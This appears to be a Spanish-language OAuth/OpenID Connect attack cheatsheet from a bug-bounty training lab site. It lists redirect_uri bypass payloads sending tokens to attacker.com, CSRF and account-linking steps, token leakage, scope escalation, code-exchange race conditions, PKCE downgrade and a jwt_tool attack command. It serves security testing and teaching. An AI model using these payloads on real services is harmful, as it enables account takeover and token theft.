Nuevos labs cada semana — Accede a todos desde 5€/mes
Ver labs →Cheatsheet OAuth
OAuth / OpenID Connect
Referencia rápida
- →Siempre probar redirect_uri con subdominios, path traversal y open redirects del target
- →Si falta el parametro state, hay CSRF en el flujo OAuth - permite vincular cuenta atacante
- →Implicit flow (response_type=token) filtra tokens en URL, Referer y browser history
- →Buscar client_secret en codigo fuente JS, APKs de Android y repositorios Git
- →Combinar open redirect en dominio permitido + redirect_uri para token theft
Bypass de redirect_uri
Subdominio
redirect_uri=https://attacker.target.com/callback
Path traversal
redirect_uri=https://target.com/callback/../../../attacker.com
Fragment injection
redirect_uri=https://target.com/callback#@attacker.com
Open redirect en dominio permitidoOpen redirect + OAuth = token theft
redirect_uri=https://target.com/redirect?url=https://attacker.com
Localhost bypass
redirect_uri=http://localhost:8080/callback
URL encoding
redirect_uri=https://target.com%40attacker.com
Double encoding
redirect_uri=https://target.com%252f%252fattacker.com
CSRF en flujo OAuth
Sin parametro stateSin state = CSRF posible, vincular cuenta del atacante a la victima
https://oauth.provider.com/authorize?client_id=APP&redirect_uri=https://target.com/callback&response_type=code
State no verificadoProbar si el backend realmente valida el state
https://oauth.provider.com/authorize?client_id=APP&redirect_uri=https://target.com/callback&response_type=code&state=anything
Account linking CSRFAtacante puede hacer login como la victima via Google
1. Atacante inicia OAuth flow con su cuenta de Google 2. Intercepta el callback URL con el code 3. Envia la URL a la victima 4. La victima vincula la cuenta Google del atacante a su perfil
Token theft y leakage
Token en Referer header
1. OAuth usa response_type=token (implicit flow) 2. Token aparece en URL fragment 3. Pagina tiene recurso externo (imagen, script) 4. Token se filtra en Referer header al recurso externo
Token en browser history
Implicit flow almacena tokens en URL, visible en historial del navegador
Scope escalationAgregar scopes adicionales que el servidor no deberia permitir
https://oauth.provider.com/authorize?scope=openid+profile+email+admin
Misconfiguraciones avanzadas
Client secret expuestoCon client_secret se pueden intercambiar codes por tokens
Buscar client_secret en: JS del frontend, mobile APK, .env files, git history
Token reuse cross-service
Usar access_token de un servicio en otro servicio del mismo proveedor
Race condition en code exchangeEl code deberia ser de un solo uso
1. Obtener authorization code 2. Enviar multiples requests simultaneas de intercambio de code 3. Obtener multiples access tokens del mismo code
PKCE downgradeSi el servidor no fuerza PKCE, se puede usar flujo sin PKCE
Eliminar code_challenge y code_verifier del flujo
Herramientas
Burp Suite OAuth flow
Interceptar y modificar cada paso del flujo OAuth para testing manual
Burp > Proxy > Interceptar flujo OAuth completo
oauth-tools
Extension de Burp para detectar automaticamente vulnerabilidades OAuth
Burp Extensions > OAuth tools by James Kettle
JWT Tool para tokens OAuth
Analizar y atacar access tokens JWT emitidos por OAuth providers
python3 jwt_tool.py <access_token> -M at
Contenido relacionado
¿Listo para practicar?
Pon en práctica estos payloads en labs reales basados en reportes de bug bounty.
Ver labs de práctica